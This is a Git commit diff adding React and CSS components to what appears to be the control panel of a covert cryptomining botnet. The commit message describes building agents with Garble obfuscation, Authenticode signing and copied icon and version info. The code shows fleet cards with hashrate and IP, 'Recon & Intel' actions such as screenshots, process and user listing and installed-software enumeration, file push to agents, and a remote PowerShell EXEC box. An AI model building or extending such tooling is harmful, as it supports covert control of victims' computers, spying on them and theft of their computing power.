Add forge pipeline polish, simple forge UX, and fleet management upgrades.
Fusion copies prep icon and version info via go-winres; optional Garble obfuscation, Authenticode signing, and dry-run size estimates. Forge Simple mode with smart defaults; fleet roster gets compact expandable cards, filters, bulk commands, per-agent notes/tags, and typed WebSocket payloads.
This commit is contained in:
97
server/web/src/components/Fleet/AgentListItem.tsx
Normal file
97
server/web/src/components/Fleet/AgentListItem.tsx
Normal file
@@ -0,0 +1,97 @@
|
||||
import AgentRemoteActions from './AgentRemoteActions';
|
||||
import { formatHashrate, formatUptime } from '../../help/fleetFilters';
|
||||
import type { Agent } from '../../types';
|
||||
import type { WSMessage } from '../../types';
|
||||
|
||||
interface Props {
|
||||
agent: Agent;
|
||||
selected: boolean;
|
||||
expanded: boolean;
|
||||
selectable?: boolean;
|
||||
checked?: boolean;
|
||||
onToggleExpand: () => void;
|
||||
onSelect: () => void;
|
||||
onCheck?: (checked: boolean) => void;
|
||||
latestWsMessage?: WSMessage | null;
|
||||
}
|
||||
|
||||
export default function AgentListItem({
|
||||
agent,
|
||||
selected,
|
||||
expanded,
|
||||
selectable,
|
||||
checked,
|
||||
onToggleExpand,
|
||||
onSelect,
|
||||
onCheck,
|
||||
latestWsMessage,
|
||||
}: Props) {
|
||||
const online = agent.status === 'online';
|
||||
|
||||
const handleRowClick = (e: React.MouseEvent) => {
|
||||
const target = e.target as HTMLElement;
|
||||
if (target.closest('input[type="checkbox"]') || target.closest('button') || target.closest('.agent-remote')) {
|
||||
return;
|
||||
}
|
||||
onSelect();
|
||||
onToggleExpand();
|
||||
};
|
||||
|
||||
return (
|
||||
<div
|
||||
className={`neon-card agent-list-item compact-row ${selected ? 'selected' : ''} ${expanded ? 'expanded' : ''}`}
|
||||
onClick={handleRowClick}
|
||||
>
|
||||
<div className="agent-list-header">
|
||||
<div className="agent-list-name">
|
||||
{selectable && (
|
||||
<input
|
||||
type="checkbox"
|
||||
className="checkbox agent-list-select"
|
||||
checked={!!checked}
|
||||
onChange={(e) => {
|
||||
e.stopPropagation();
|
||||
onCheck?.(e.target.checked);
|
||||
}}
|
||||
onClick={(e) => e.stopPropagation()}
|
||||
/>
|
||||
)}
|
||||
<span className={`status-dot ${agent.status}`} />
|
||||
<span>{agent.name}</span>
|
||||
</div>
|
||||
<span className={`status-badge ${agent.status}`}>{agent.status}</span>
|
||||
</div>
|
||||
|
||||
{(agent.tags?.length ?? 0) > 0 && (
|
||||
<div className="agent-list-tags">
|
||||
{agent.tags!.map((t) => (
|
||||
<span key={t} className="agent-tag-chip">{t}</span>
|
||||
))}
|
||||
</div>
|
||||
)}
|
||||
|
||||
<div className="agent-list-details">
|
||||
<span>{formatHashrate(agent.hashrate_15m)}</span>
|
||||
<span>{agent.ip || '—'}</span>
|
||||
{!expanded && <span className="form-hint">click for details</span>}
|
||||
</div>
|
||||
|
||||
{!expanded && agent.notes?.trim() && (
|
||||
<p className="agent-list-notes-preview">{agent.notes.trim().slice(0, 80)}{agent.notes.length > 80 ? '…' : ''}</p>
|
||||
)}
|
||||
|
||||
{expanded && (
|
||||
<div className="agent-list-expand" onClick={(e) => e.stopPropagation()}>
|
||||
<div className="agent-list-meta">
|
||||
<span>Shares: {agent.shares_good}/{agent.shares_total}</span>
|
||||
<span>{agent.cpu_cores} cores · {agent.memory_gb} GB</span>
|
||||
<span>Uptime: {formatUptime(agent.uptime_seconds)}</span>
|
||||
<span>v{agent.version || '?'}</span>
|
||||
</div>
|
||||
{agent.notes?.trim() && <p className="form-hint">{agent.notes}</p>}
|
||||
<AgentRemoteActions agent={agent} compact online={online} latestWsMessage={latestWsMessage} />
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -1,6 +1,7 @@
|
||||
import React, { useState, useRef, useEffect, useCallback } from 'react';
|
||||
import { api } from '../../api/client';
|
||||
import type { Agent, WSMessage } from '../../types';
|
||||
import type { WSCommandResult } from '../../types/ws';
|
||||
import './AgentRemoteActions.css';
|
||||
|
||||
interface Props {
|
||||
@@ -8,6 +9,8 @@ interface Props {
|
||||
agent?: Agent;
|
||||
agentId?: string;
|
||||
agentName?: string;
|
||||
/** Explicit online flag — use when agent object may be stale */
|
||||
online?: boolean;
|
||||
compact?: boolean;
|
||||
latestWsMessage?: WSMessage | null;
|
||||
onCommandSent?: (action: string) => void;
|
||||
@@ -17,13 +20,14 @@ export default function AgentRemoteActions({
|
||||
agent,
|
||||
agentId: agentIdProp,
|
||||
agentName: agentNameProp,
|
||||
online: onlineProp,
|
||||
compact = false,
|
||||
latestWsMessage,
|
||||
onCommandSent,
|
||||
}: Props) {
|
||||
const agentId = agentIdProp ?? agent?.id ?? '';
|
||||
const agentName = agentNameProp ?? agent?.name ?? 'Agent';
|
||||
const online = agent?.status !== 'offline';
|
||||
const isOnline = onlineProp ?? agent?.status === 'online';
|
||||
|
||||
const [isDragging, setIsDragging] = useState(false);
|
||||
const [customCmd, setCustomCmd] = useState('');
|
||||
@@ -42,12 +46,7 @@ export default function AgentRemoteActions({
|
||||
|
||||
useEffect(() => {
|
||||
if (!latestWsMessage || latestWsMessage.type !== 'command_result') return;
|
||||
const payload = latestWsMessage.payload as {
|
||||
agent_id?: string;
|
||||
action?: string;
|
||||
success?: boolean;
|
||||
message?: string;
|
||||
};
|
||||
const payload = latestWsMessage.payload as WSCommandResult;
|
||||
const { agent_id, action, success, message } = payload;
|
||||
if (agentId && agentId !== 'all' && agent_id !== agentId) return;
|
||||
|
||||
@@ -64,7 +63,7 @@ export default function AgentRemoteActions({
|
||||
addLog('No agent selected');
|
||||
return;
|
||||
}
|
||||
if (agent && !online) {
|
||||
if (agent && !isOnline) {
|
||||
addLog('Agent is offline');
|
||||
return;
|
||||
}
|
||||
@@ -121,10 +120,10 @@ export default function AgentRemoteActions({
|
||||
return (
|
||||
<div className="agent-remote compact" onClick={(e) => e.stopPropagation()}>
|
||||
<div className="agent-remote-row">
|
||||
<button type="button" className="agent-action-btn" disabled={!online || !!busy} onClick={() => dispatch('pause')}>Pause</button>
|
||||
<button type="button" className="agent-action-btn" disabled={!online || !!busy} onClick={() => dispatch('resume')}>Resume</button>
|
||||
<button type="button" className="agent-action-btn warn" disabled={!online || !!busy} onClick={() => dispatch('stop')}>Stop</button>
|
||||
<button type="button" className="agent-action-btn danger" disabled={!online || !!busy} onClick={() => dispatch('uninstall')}>Uninstall</button>
|
||||
<button type="button" className="agent-action-btn" disabled={!isOnline || !!busy} onClick={() => dispatch('pause')}>Pause</button>
|
||||
<button type="button" className="agent-action-btn" disabled={!isOnline || !!busy} onClick={() => dispatch('resume')}>Resume</button>
|
||||
<button type="button" className="agent-action-btn warn" disabled={!isOnline || !!busy} onClick={() => dispatch('stop')}>Stop</button>
|
||||
<button type="button" className="agent-action-btn danger" disabled={!isOnline || !!busy} onClick={() => dispatch('uninstall')}>Uninstall</button>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
@@ -145,30 +144,30 @@ export default function AgentRemoteActions({
|
||||
<div className="action-group recon-group">
|
||||
<h3>Recon & Intel</h3>
|
||||
<div className="button-grid">
|
||||
<button type="button" disabled={!online || !!busy} onClick={() => dispatch('screenshot')}>Screenshot</button>
|
||||
<button type="button" disabled={!online || !!busy} onClick={() => dispatch('ps')}>Process List</button>
|
||||
<button type="button" disabled={!online || !!busy} onClick={() => dispatch('sysinfo')}>System Info</button>
|
||||
<button type="button" disabled={!online || !!busy} onClick={() => dispatch('netstat')}>Net Connections</button>
|
||||
<button type="button" disabled={!online || !!busy} onClick={() => dispatch('users')}>List Users</button>
|
||||
<button type="button" disabled={!online || !!busy} onClick={() => dispatch('software')}>Installed Software</button>
|
||||
<button type="button" disabled={!online || !!busy} onClick={() => dispatch('get_log', { tail_lines: 300 })}>Fetch Log</button>
|
||||
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('screenshot')}>Screenshot</button>
|
||||
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('ps')}>Process List</button>
|
||||
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('sysinfo')}>System Info</button>
|
||||
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('netstat')}>Net Connections</button>
|
||||
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('users')}>List Users</button>
|
||||
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('software')}>Installed Software</button>
|
||||
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('get_log', { tail_lines: 300 })}>Fetch Log</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="action-group mining-group">
|
||||
<h3>Mining Controls</h3>
|
||||
<div className="button-grid">
|
||||
<button type="button" className="btn-cyan" disabled={!online || !!busy} onClick={() => dispatch('resume')}>Resume</button>
|
||||
<button type="button" className="btn-amber" disabled={!online || !!busy} onClick={() => dispatch('pause')}>Pause</button>
|
||||
<button type="button" className="btn-cyan" disabled={!isOnline || !!busy} onClick={() => dispatch('resume')}>Resume</button>
|
||||
<button type="button" className="btn-amber" disabled={!isOnline || !!busy} onClick={() => dispatch('pause')}>Pause</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="action-group power-group">
|
||||
<h3>System Power</h3>
|
||||
<div className="button-grid">
|
||||
<button type="button" className="btn-amber" disabled={!online || !!busy} onClick={() => dispatch('restart')}>Restart Agent</button>
|
||||
<button type="button" className="btn-red" disabled={!online || !!busy} onClick={() => dispatch('stop')}>Kill Process</button>
|
||||
<button type="button" className="btn-red" disabled={!online || !!busy} onClick={() => dispatch('uninstall')}>Uninstall</button>
|
||||
<button type="button" className="btn-amber" disabled={!isOnline || !!busy} onClick={() => dispatch('restart')}>Restart Agent</button>
|
||||
<button type="button" className="btn-red" disabled={!isOnline || !!busy} onClick={() => dispatch('stop')}>Kill Process</button>
|
||||
<button type="button" className="btn-red" disabled={!isOnline || !!busy} onClick={() => dispatch('uninstall')}>Uninstall</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
@@ -185,10 +184,10 @@ export default function AgentRemoteActions({
|
||||
|
||||
<div className="tactical-bottom-row">
|
||||
<div
|
||||
className={`drop-zone ${isDragging ? 'dragging' : ''}`}
|
||||
onDragOver={handleDragOver}
|
||||
className={`drop-zone ${isDragging ? 'dragging' : ''} ${!isOnline ? 'disabled' : ''}`}
|
||||
onDragOver={isOnline ? handleDragOver : undefined}
|
||||
onDragLeave={handleDragLeave}
|
||||
onDrop={handleDrop}
|
||||
onDrop={isOnline ? handleDrop : undefined}
|
||||
>
|
||||
<span className="drop-icon">📥</span>
|
||||
<p>Drag & Drop file here</p>
|
||||
@@ -212,9 +211,9 @@ export default function AgentRemoteActions({
|
||||
onChange={(e) => setCustomCmd(e.target.value)}
|
||||
placeholder="Enter PowerShell command..."
|
||||
autoComplete="off"
|
||||
disabled={!online}
|
||||
disabled={!isOnline}
|
||||
/>
|
||||
<button type="submit" disabled={!online}>EXEC</button>
|
||||
<button type="submit" disabled={!isOnline}>EXEC</button>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
103
server/web/src/components/Fleet/FleetToolbar.css
Normal file
103
server/web/src/components/Fleet/FleetToolbar.css
Normal file
@@ -0,0 +1,103 @@
|
||||
.agents-list-panel {
|
||||
flex: 1;
|
||||
min-width: 0;
|
||||
}
|
||||
|
||||
.agents-list-panel .agents-list {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 0.5rem;
|
||||
}
|
||||
|
||||
.fleet-toolbar {
|
||||
margin-bottom: 1rem;
|
||||
padding: 0.85rem 1rem;
|
||||
}
|
||||
|
||||
.fleet-toolbar-filters {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
gap: 0.5rem;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.fleet-filter-search {
|
||||
flex: 1 1 180px;
|
||||
min-width: 160px;
|
||||
}
|
||||
|
||||
.fleet-filter-select {
|
||||
min-width: 120px;
|
||||
}
|
||||
|
||||
.fleet-filter-attn {
|
||||
font-size: 0.85rem;
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
.fleet-bulk-bar {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
gap: 0.5rem;
|
||||
align-items: center;
|
||||
margin-top: 0.75rem;
|
||||
padding-top: 0.75rem;
|
||||
border-top: 1px solid rgba(255, 255, 255, 0.08);
|
||||
}
|
||||
|
||||
.agent-list-item.compact-row {
|
||||
cursor: pointer;
|
||||
padding: 0.65rem 0.85rem;
|
||||
}
|
||||
|
||||
.agent-list-item.compact-row .agent-list-header {
|
||||
margin-bottom: 0.25rem;
|
||||
}
|
||||
|
||||
.agent-list-item.compact-row .agent-list-details,
|
||||
.agent-list-item.compact-row .agent-list-meta {
|
||||
font-size: 0.82rem;
|
||||
opacity: 0.9;
|
||||
}
|
||||
|
||||
.agent-list-item.expanded {
|
||||
border-color: rgba(0, 245, 255, 0.35);
|
||||
}
|
||||
|
||||
.agent-list-expand {
|
||||
margin-top: 0.65rem;
|
||||
padding-top: 0.65rem;
|
||||
border-top: 1px solid rgba(255, 255, 255, 0.08);
|
||||
}
|
||||
|
||||
.agent-tag-chip {
|
||||
display: inline-block;
|
||||
font-size: 0.7rem;
|
||||
padding: 0.1rem 0.45rem;
|
||||
margin-right: 0.25rem;
|
||||
border-radius: 4px;
|
||||
background: rgba(0, 245, 255, 0.12);
|
||||
color: var(--neon-cyan, #0ff);
|
||||
border: 1px solid rgba(0, 245, 255, 0.25);
|
||||
}
|
||||
|
||||
.agent-list-notes-preview {
|
||||
font-size: 0.8rem;
|
||||
color: var(--text-muted, #888);
|
||||
font-style: italic;
|
||||
margin-top: 0.25rem;
|
||||
}
|
||||
|
||||
.agent-list-select {
|
||||
margin-right: 0.5rem;
|
||||
}
|
||||
|
||||
.agent-meta-editor {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 0.75rem;
|
||||
}
|
||||
|
||||
.agent-meta-tags-input {
|
||||
font-size: 0.85rem;
|
||||
}
|
||||
92
server/web/src/components/Fleet/FleetToolbar.tsx
Normal file
92
server/web/src/components/Fleet/FleetToolbar.tsx
Normal file
@@ -0,0 +1,92 @@
|
||||
import type { FleetFilterState } from '../../help/fleetFilters';
|
||||
import { collectFleetSubnets, collectFleetTags } from '../../help/fleetFilters';
|
||||
import type { Agent } from '../../types';
|
||||
import './FleetToolbar.css';
|
||||
|
||||
interface Props {
|
||||
agents: Agent[];
|
||||
filters: FleetFilterState;
|
||||
onChange: (next: FleetFilterState) => void;
|
||||
selectedCount: number;
|
||||
onBulkAction: (action: string) => void;
|
||||
bulkBusy: boolean;
|
||||
}
|
||||
|
||||
export default function FleetToolbar({
|
||||
agents,
|
||||
filters,
|
||||
onChange,
|
||||
selectedCount,
|
||||
onBulkAction,
|
||||
bulkBusy,
|
||||
}: Props) {
|
||||
const tags = collectFleetTags(agents);
|
||||
const subnets = collectFleetSubnets(agents);
|
||||
|
||||
return (
|
||||
<div className="fleet-toolbar card">
|
||||
<div className="fleet-toolbar-filters">
|
||||
<input
|
||||
type="search"
|
||||
className="input fleet-filter-search"
|
||||
placeholder="Search name, IP, notes, tags…"
|
||||
value={filters.search}
|
||||
onChange={(e) => onChange({ ...filters, search: e.target.value })}
|
||||
/>
|
||||
<select
|
||||
className="select fleet-filter-select"
|
||||
value={filters.tag}
|
||||
onChange={(e) => onChange({ ...filters, tag: e.target.value })}
|
||||
title="Filter by tag"
|
||||
>
|
||||
<option value="">All tags</option>
|
||||
{tags.map((t) => (
|
||||
<option key={t} value={t}>{t}</option>
|
||||
))}
|
||||
</select>
|
||||
<select
|
||||
className="select fleet-filter-select"
|
||||
value={filters.subnet}
|
||||
onChange={(e) => onChange({ ...filters, subnet: e.target.value })}
|
||||
title="Filter by subnet"
|
||||
>
|
||||
<option value="">All subnets</option>
|
||||
{subnets.map((s) => (
|
||||
<option key={s} value={s}>{s}</option>
|
||||
))}
|
||||
</select>
|
||||
<select
|
||||
className="select fleet-filter-select"
|
||||
value={String(filters.hashrateMin)}
|
||||
onChange={(e) => onChange({ ...filters, hashrateMin: Number(e.target.value) })}
|
||||
title="Minimum 15m hashrate"
|
||||
>
|
||||
<option value="0">Any hashrate</option>
|
||||
<option value="1000">≥ 1 KH/s</option>
|
||||
<option value="10000">≥ 10 KH/s</option>
|
||||
<option value="100000">≥ 100 KH/s</option>
|
||||
<option value="1000000">≥ 1 MH/s</option>
|
||||
</select>
|
||||
<label className="checkbox-label fleet-filter-attn">
|
||||
<input
|
||||
type="checkbox"
|
||||
className="checkbox"
|
||||
checked={filters.needsAttention}
|
||||
onChange={(e) => onChange({ ...filters, needsAttention: e.target.checked })}
|
||||
/>
|
||||
<span>Needs attention</span>
|
||||
</label>
|
||||
</div>
|
||||
|
||||
{selectedCount > 0 && (
|
||||
<div className="fleet-bulk-bar">
|
||||
<span className="font-tech">{selectedCount} selected</span>
|
||||
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('pause')}>Pause</button>
|
||||
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('resume')}>Resume</button>
|
||||
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('stop')}>Stop</button>
|
||||
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('restart_idle')}>Restart idle miners</button>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
Reference in New Issue
Block a user